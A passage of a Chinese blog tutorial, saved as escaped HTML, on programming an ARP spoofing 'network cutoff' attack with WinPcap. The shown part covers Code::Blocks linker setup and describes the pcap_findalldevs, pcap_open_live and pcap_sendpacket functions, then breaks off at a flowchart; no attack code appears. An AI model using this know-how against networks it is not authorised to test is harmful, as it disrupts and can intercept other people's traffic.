3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Title&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Closing&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Signature&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Default Paragraph Font&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text Indent&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Message Header&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Subtitle&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Salutation&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Date&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text First Indent&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text First Indent 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Note Heading&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text Indent 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text Indent 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Block Text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Hyperlink&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;FollowedHyperlink&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Strong&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Emphasis&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Document Map&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Plain Text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;E-mail Signature&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Normal (Web)&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Acronym&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Address&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Cite&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Code&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Definition&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Keyboard&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Preformatted&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Sample&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Typewriter&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Variable&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Normal Table&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;annotation subject&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;No List&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Balloon Text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;\/w:latentstyles&gt;&lt;\/xml&gt;&lt;![endif]--&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/d0096ec6c83575373e3a21d129ff8fef20140124162406.jpg&quot; id=&quot;ematt:145&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-d0096ec6c83575373e3a21d129ff8fef20140124162406.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; \/&gt;&lt;\/a&gt;&lt;br \/&gt;\n&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;(2)Settings-&gt;Complier-&gt;Linker&nbsp;settings-&gt;Add-&gt;(\u6dfb\u52a0&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;..\\4.1beta5_WpdPack\\WpdPack\\Lib\\libwpcap.a)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;Times New Roman&#039;;&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/8266e4bfeda1bd42d8f9794eb4ea0a1320140124162419.png&quot; id=&quot;ematt:146&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-8266e4bfeda1bd42d8f9794eb4ea0a1320140124162419.png&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; \/&gt;&lt;\/a&gt;&lt;br \/&gt;\n&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\uff083\uff09&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;(2)Settings-&gt;Complier-&gt;Linker&nbsp;settings-&gt;Add-&gt;(\u6dfb\u52a0&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\uff08Code::Blocks\u5b89\u88c5\u8def\u5f84\uff09&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\\CodeBlocks\\MinGW\\lib\\libiphlpapi.a)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\uff08&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;4&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\uff09&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;(2)Settings-&gt;Complier-&gt;Linker&nbsp;settings-&gt;Add-&gt;(\u6dfb\u52a0&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\uff08Code::Blocks\u5b89\u88c5\u8def\u5f84\uff09&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\\CodeBlocks\\MinGW\\lib\\libws2_32.a)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:16.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;1.ARP&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u65ad\u7f51\u653b\u51fb&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u505a\u5b8c\u4e86\u51c6\u5907\u5de5\u4f5c\u6211\u4eec\u5c31\u53ef\u4ee5\u8fdb\u884c&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u6b3a\u9a97\u7f16\u7a0b\u4e86\u3002\u5728\u6b64\u6b21\u65ad\u7f51\u653b\u51fb\u7684\u5b9e\u73b0\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u8981\u7528\u7684\u51fd\u6570\u6709\uff1a&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\uff08&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;1&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\uff09&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;int&nbsp;pcap_findalldevs(pcap_if_t&nbsp;**,&nbsp;char&nbsp;*)&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u8bf4\u660e\uff1a\u7528\u6765\u83b7\u5f97\u7f51\u5361\u7684\u5217\u8868&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u53c2\u6570\uff1a&nbsp;\u6307\u5411pcap_if_t**\u7c7b\u578b\u7684\u5217\u8868\u7684\u6307\u9488\u7684\u6307\u9488;&nbsp;char\u578b\u6307\u9488,\u5f53\u6253\u5f00\u5217\u8868\u9519\u8bef\u65f6\u8fd4\u56de\u9519\u8bef\u4fe1\u606f&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u8fd4\u56de\u503c:&nbsp;\u4e3aint\u578b\uff0c\u5f53\u663e\u793a\u5217\u8868\u5931\u8d25\u65f6\u8fd4\u56de-1&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\uff082\uff09&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;pcap_t&nbsp;*pcap_open_live(const&nbsp;char&nbsp;*&nbsp;device,&nbsp;int&nbsp;snaplen,&nbsp;int&nbsp;promisc,&nbsp;int&nbsp;to_ms,&nbsp;char&nbsp;ebuf&nbsp;*)&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u8bf4\u660e\uff1a&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u7528\u6765\u6253\u5f00\u4e00\u4e2a\u7f51\u5361\u83b7\u53d6\u5176\u63cf\u8ff0\u7b26&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u53c2\u6570\uff1a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;device\u662f\u4e00\u4e2a\u6307\u51fa\u8981\u6293\u53d6\u7684\u7f51\u7edc\u8bbe\u5907\u7684\u5b57\u7b26\u4e32\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;snaplen\u6307\u660e\u6700\u5927\u53ef\u6293\u53d6\u7684\u5b57\u8282\u957f\u5ea6\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;promisc\u7f6e\u4f4d\u8868\u660e\u8be5\u63a5\u53e3\u8981\u88ab\u8bbe\u7f6e\u6210\u6df7\u6742\u6a21\u5f0f\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;to_ms\u4ee5\u6beb\u79d2\u4e3a\u5355\u4f4d\u8bbe\u7f6e\u8d85\u65f6\u65f6\u95f4\u3002\u5f53\u5728\u8d85\u65f6\u65f6\u95f4\u5185\u7f51\u5361\u4e0a\u6ca1\u6709\u6570\u636e\u5230\u6765\u65f6\u5bf9\u7f51\u5361\u7684\u8bfb\u64cd\u4f5c\u5c06\u8fd4\u56de\uff08\u5982&nbsp;pcap_dispatch()&nbsp;or&nbsp;pcap_next_ex()\u7b49\u51fd\u6570\uff09\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;ebuf\u88ab\u7528\u6765\u5b58\u653e\u5f53pcap_open_live()\u8c03\u7528\u5931\u8d25\u65f6\uff0c\u8fd4\u56de\u7684\u9519\u8bef\u5b57\u7b26\u4e32\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u8fd4\u56de\u503c:&nbsp;pcap_t\u578b\u7684\u6307\u9488\uff0c\u4f9bpcap_dispatch()&nbsp;or&nbsp;pcap_next_ex()\u7b49\u51fd\u6570\u8c03\u7528\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\uff08&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;3&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\uff09&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;int&nbsp;pcap_sendpacket(pcap_t&nbsp;*p,&nbsp;u_char&nbsp;*buf,&nbsp;int&nbsp;size)&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u8bf4\u660e\uff1a\u624b\u5de5\u53d1\u9001\u4e00\u4e2a\u6570\u636e\u5305\u4e86\u3002\u8fd9\u4e2a\u51fd\u6570\u9700\u8981\u7684\u53c2\u6570\uff1a\u4e00\u4e2a\u88c5\u6709\u8981\u53d1\u9001\u6570\u636e\u7684\u7f13\u51b2\u533a\uff0c\u8981\u53d1\u9001\u7684\u957f\u5ea6\uff0c\u548c\u4e00\u4e2a\u9002\u914d\u5668\u3002\u6ce8\u610f\u7f13\u51b2\u533a\u4e2d\u7684\u6570\u636e\u5c06\u4e0d\u88ab\u5185\u6838\u534f\u8bae\u5904\u7406\uff0c\u53ea\u662f\u4f5c\u4e3a\u6700\u539f\u59cb\u7684\u6570\u636e\u6d41\u88ab\u53d1\u9001\uff0c\u6240\u4ee5\u6211\u95e8\u5fc5\u987b\u586b\u5145\u597d\u6b63\u786e\u7684\u534f\u8bae\u5934\u4ee5\u4fbf\u6b63\u786e\u7684\u5c06\u6570\u636e\u53d1\u9001\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u53c2\u6570\uff1a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;p\u662f\u6253\u5f00\u7f51\u5361\u65f6\u8fd4\u56de\u7684\u7f51\u5361\u6307\u9488&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;buf\u662f\u53d1\u9001\u6570\u636e\u5305\u7684\u5185\u5bb9\u7f13\u51b2\u533a\u9996\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;size\u662f\u53d1\u9001\u6570\u636e\u5305\u7684\u5927\u5c0f&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u63a5\u4e0b\u6765\u7ed9\u51fa\u7a0b\u5e8f\u7684\u6d41\u7a0b\u56fe\uff1a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:21.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/18e2999891374a475d0687ca9f989d8320140124162422.jpg&quot; id=&quot;ematt:147&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-18e2999891374a475d0687ca9f989d8320140124162422.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; \/&gt;&lt;\/a&gt;&lt;br \/&gt;\n&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span 